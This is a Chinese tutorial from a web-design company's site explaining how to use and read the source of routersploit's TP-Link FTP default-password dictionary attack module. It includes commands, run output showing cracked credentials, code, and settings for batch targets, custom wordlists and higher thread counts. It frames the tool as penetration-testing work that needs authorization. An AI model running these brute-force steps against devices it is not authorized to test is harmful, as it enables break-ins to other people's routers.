十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

TP-Link 路由器 FTP 默认口令爆破:routersploit `ftp_default_creds` 模块使用指南与源码解析

TP-Link 路由器 FTP 默认口令爆破:routersploit `ftp_default_creds` 模块使用指南与源码解析 TP-Link 路由器 FTP 默认口令爆破routersploitftp_default_creds模块使用指南与源码解析【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit本篇指南围绕 routersploit 中的creds/routers/tplink/ftp_default_creds模块展开讲解如何针对 TP-Link 路由器 FTP 服务执行默认口令字典攻击从启动框架、加载模块、设置目标到查看命中结果的全流程操作并结合仓库源码剖析其继承关系、多线程攻击调度与 FTP 底层认证实现帮助读者在渗透测试与固件安全评估中快速验证设备弱口令问题。模块定位与功能概述ftp_default_creds是 routersploit 认证凭据creds类模块中针对 TP-Link 路由器的专用模块。其核心功能是对目标 TP-Link 路由器的 FTP 服务执行默认凭据字典攻击dictionary attack依次尝试内置的用户名:密码组合一旦找到有效凭据立即在终端中展示给用户。原文档 docs/modules/creds/routers/tplink/ftp_default_creds.md 给出的官方描述为Module performs dictionary attack with default credentials against TP-Link Router FTP service. If valid credentials are found, they are displayed to the user.在仓库中的模块源码 routersploit/modules/creds/routers/tplink/ftp_default_creds.py 里模块元信息同样声明了其适用设备为TP-Link Router作者为 routersploit 模块体系的维护者 Marcin Bury。该模块本身并不重复实现攻击逻辑而是继承自通用 FTP 默认凭据模块FTPDefault位于 routersploit/modules/creds/generic/ftp_default.py仅通过覆盖默认参数来完成厂商定向class Exploit(FTPDefault): __info__ { name: TP-Link Router Default FTP Creds, description: Module performs dictionary attack against TP-Link Router FTP service. If valid credentials are found, they are displayed to the user., authors: ( Marcin Bury marcin[at]threat9.com, # routersploit module ), devices: ( TP-Link Router, ), } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(21, Target FTP port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:admin, User:Pass or file with default credentials (file://))由此可见TP-Link 专用模块相对通用模块的主要差异集中在两处默认线程数收敛为1通用模块为8默认字典精简为 TP-Link 最常见的admin:admin组合。快速上手验证步骤按原文档的 Verification Steps在仓库根目录启动框架后即可按如下流程操作启动交互式框架./rsf.py加载模块use creds/routers/tplink/ftp_default_creds设置目标set target [TargetIP]执行攻击run若命中有效凭据模块会将结果打印到终端。对应的实际命令序列如下./rsf.py rsf use creds/routers/tplink/ftp_default_creds rsf (TP-Link Router Default FTP Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (TP-Link Router Default FTP Creds) run加载模块后提示符会变为rsf (TP-Link Router Default FTP Creds)此时便处于该模块的上下文环境中可通过show options查看可配置参数通过set修改最后用run触发攻击。运行场景演示原文档给出了完整的运行输出示例展示了从探活、逐条尝试认证到最终汇总结果表的完整链路rsf use creds/routers/tplink/ftp_default_creds rsf (TP-Link Router Default FTP Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (TP-Link Router Default FTP Creds) run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: admin Password: 12345 [-] Authentication Failed - Username: admin Password: 123456 [-] Authentication Failed - Username: Admin Password: 12345 [-] Authentication Failed - Username: Admin Password: 123456 [] Authenticated Succeed - Username: admin Password: admin [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin输出信息可以拆解为几个阶段Target exposes FTP service攻击前的连通性探测成功说明目标 21 端口确实开放 FTP 服务Starting attack against FTP service 线程启停日志多线程攻击调度开始逐条的Authentication Failed/Authenticated Succeed每个凭据组合的认证尝试结果受verbosity选项控制Elapsed time本次攻击总耗时末尾的结果表格以Target / Port / Service / Username / Password五列汇总所有命中凭据。模块参数详解ftp_default_creds可配置参数由继承链聚合而来通用模块的FTPDefault与FTPClient均贡献了选项聚合逻辑见 routersploit/core/exploit/exploit.py 中的ExploitOptionsAggregator元类。核心参数如下参数类型默认值说明targetOptIP空目标 IPv4 / IPv6 地址或file://前缀的批量目标文件portOptPort21目标 FTP 端口threadsOptInteger1并发攻击线程数defaultsOptWordlistadmin:admin用户名:密码组合或file://前缀的自定义字典文件stop_on_successOptBooltrue命中首个有效凭据后是否立即停止verbosityOptBooltrue是否逐条显示认证尝试详情sslOptBoolfalse是否使用 FTPSTLS 加密的 FTP连接各选项类型定义于 routersploit/core/exploit/option.py它们不仅负责默认值与描述还承担输入校验OptIP赋值时会用正则校验必须是合法 IPv4 或 IPv6 地址否则抛出OptionValidationErrorOptPort强制转换为整数且范围必须落在1 ~ 65535OptInteger支持十进制或十六进制如0x10字面量OptBool仅接受字符串true/falseOptWordlist这是字典类选项的关键——__get__方法会按,拆分字符串得到凭据列表若值以file://开头则把该前缀去掉后按路径读取文件逐行 strip 后作为凭据列表__set__时还会校验文件是否存在。由于threads与defaults在 TP-Link 专用模块中被重新声明ExploitOptionsAggregator元类会自动用子类定义覆盖父类的同名选项参见 routersploit/core/exploit/exploit.py 中removing exploit_attribtue that was overwritten的处理分支因此该模块在show options下展示的默认值即为上表内容。攻击流程的源码级拆解继承关系与通用攻击引擎TP-Link 模块 →FTPDefaultroutersploit/modules/creds/generic/ftp_default.py→FTPClientroutersploit/core/ftp/ftp_client.py→Exploit基类。攻击主流程定义在FTPDefault中def run(self): self.credentials [] self.attack() multi def attack(self): if not self.check(): return print_status(Starting attack against FTP service) data LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) if self.credentials: print_success(Credentials found!) headers (Target, Port, Service, Username, Password) print_table(headers, *self.credentials) else: print_error(Credentials not found)几个关键机制multi装饰器routersploit/core/exploit/exploit.py当target以file://开头时装饰器会把目标文件按行拆分成多个ip:port目标逐目标执行一次attack()实现批量扫描check()前置探活调用 FTP 客户端的test_connect()确认端口可达不可达则直接返回避免无意义的爆破流量LockedIteratorroutersploit/core/exploit/exploit.py用互斥锁包装字典迭代器保证多线程并发取词条时不会重复或丢失run_threadsroutersploit/core/exploit/exploit.py按threads数量创建命名线程thread-0、thread-1…通过threading.Event支持stop_on_success的即时停止并统计Elapsed time。单条凭据的认证尝试真正执行认证的是target_functiondef target_function(self, running, data): while running.is_set(): try: username, password data.next().split(:, 1) except StopIteration: break else: ftp_client self.ftp_create() if ftp_client.connect(retries3) is None: print_error(Too many connections problems. Quiting..., verboseself.verbosity) return if ftp_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ftp_client.close()每条词条按:分隔为用户名与密码split(:, 1)保证密码本身含冒号也不受影响随后ftp_create()创建FTPCli实例connect(retries3)建立 TCP 连接失败重试 3 次仍失败则终止当前线程login(username, password)发起 FTP 认证认证成功后若stop_on_success为真则通过running.clear()通知所有线程停止并把命中结果(target, port, protocol, username, password)追加到self.credentials供attack()末尾的结果表打印。FTP 客户端底层实现FTP 通信封装在 routersploit/core/ftp/ftp_client.py 的FTPCli类中直接使用 Python 标准库ftplibsslFalse时实例化ftplib.FTP()sslTrue时实例化ftplib.FTP_TLS()对应ssl选项connect()设置 8 秒超时FTP_TIMEOUT 8.0捕获所有连接异常并打印错误login()成功时打印FTP Authentication Successful - Username: ... Password: ...失败时打印FTP Authentication Failed - ...二者均受verbosity控制与运行输出中逐条[-]/[]日志一一对应get_content()基于RETR命令封装了远程文件读取能力可供其他 FTP 类模块复用。测试用例佐证仓库在 tests/creds/routers/tplink/test_ftp_default_creds.py 中为该模块提供了单元测试验证了关键默认值与运行行为exploit Exploit() assert exploit.target assert exploit.port 21 assert exploit.threads 1 assert exploit.defaults [admin:admin] assert exploit.stop_on_success is True assert exploit.verbosity is True exploit.target generic_target.host exploit.port generic_target.port assert exploit.check() is False assert exploit.check_default() is None assert exploit.run() is None从测试断言可以确认模块的默认状态threads1、defaults[admin:admin]、stop_on_successTrue、verbosityTrue。同时check_default()方法被mute装饰用于静默执行使得该模块还可以作为自动化脚本或autopwn流水线中的检查单元被调用。进阶使用批量目标与自定义字典批量扫描多个目标target选项支持file://前缀读取目标列表文件每行格式为ip:port配合multi装饰器逐个执行攻击set target file:///path/to/targets.txt runtargets.txt示例内容192.168.1.1:21 192.168.1.2:2121 192.168.2.1:21加载自定义凭据字典defaults选项同样支持file://前缀可加载外部字典文件每行一个username:password组合set defaults file:///path/to/tplink_creds.txt run此外通用字典位于仓库的 routersploit/resources/wordlists/defaults.txt共 653 行覆盖了admin:admin、Admin:admin、Administrator:admin等大量常见厂商默认组合可供参考或直接复用。调整并发与停止策略针对 TP-Link 设备模块默认单线程、命中即停适合精准验证。若需大规模快速探测可调整set threads 8 set stop_on_success false run不过需要注意提高线程数会成倍增加对目标 FTP 服务的连接压力生产环境探测时建议保持较低的并发并做好目标授权确认。安全提示ftp_default_creds是一个面向嵌入式设备安全评估的凭据验证工具使用前应注意仅对已获得明确授权的目标设备执行探测该模块的价值在于帮助安全人员发现仍使用出厂默认口令的 TP-Link 路由器从而推动口令加固路由器固件中的 FTP 服务多为遗留功能若业务不需要建议直接禁用从根源上缩小攻击面。延伸阅读模块文档原文docs/modules/creds/routers/tplink/ftp_default_creds.md同厂商其他协议模块docs/modules/creds/routers/tplink/目录下的ssh_default_creds.md、telnet_default_creds.md与webinterface_http_auth_default_creds.md通用 FTP 默认凭据模块routersploit/modules/creds/generic/ftp_default.pyFTP 客户端封装routersploit/core/ftp/ftp_client.py选项类型与校验实现routersploit/core/exploit/option.py框架入口rsf.py【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表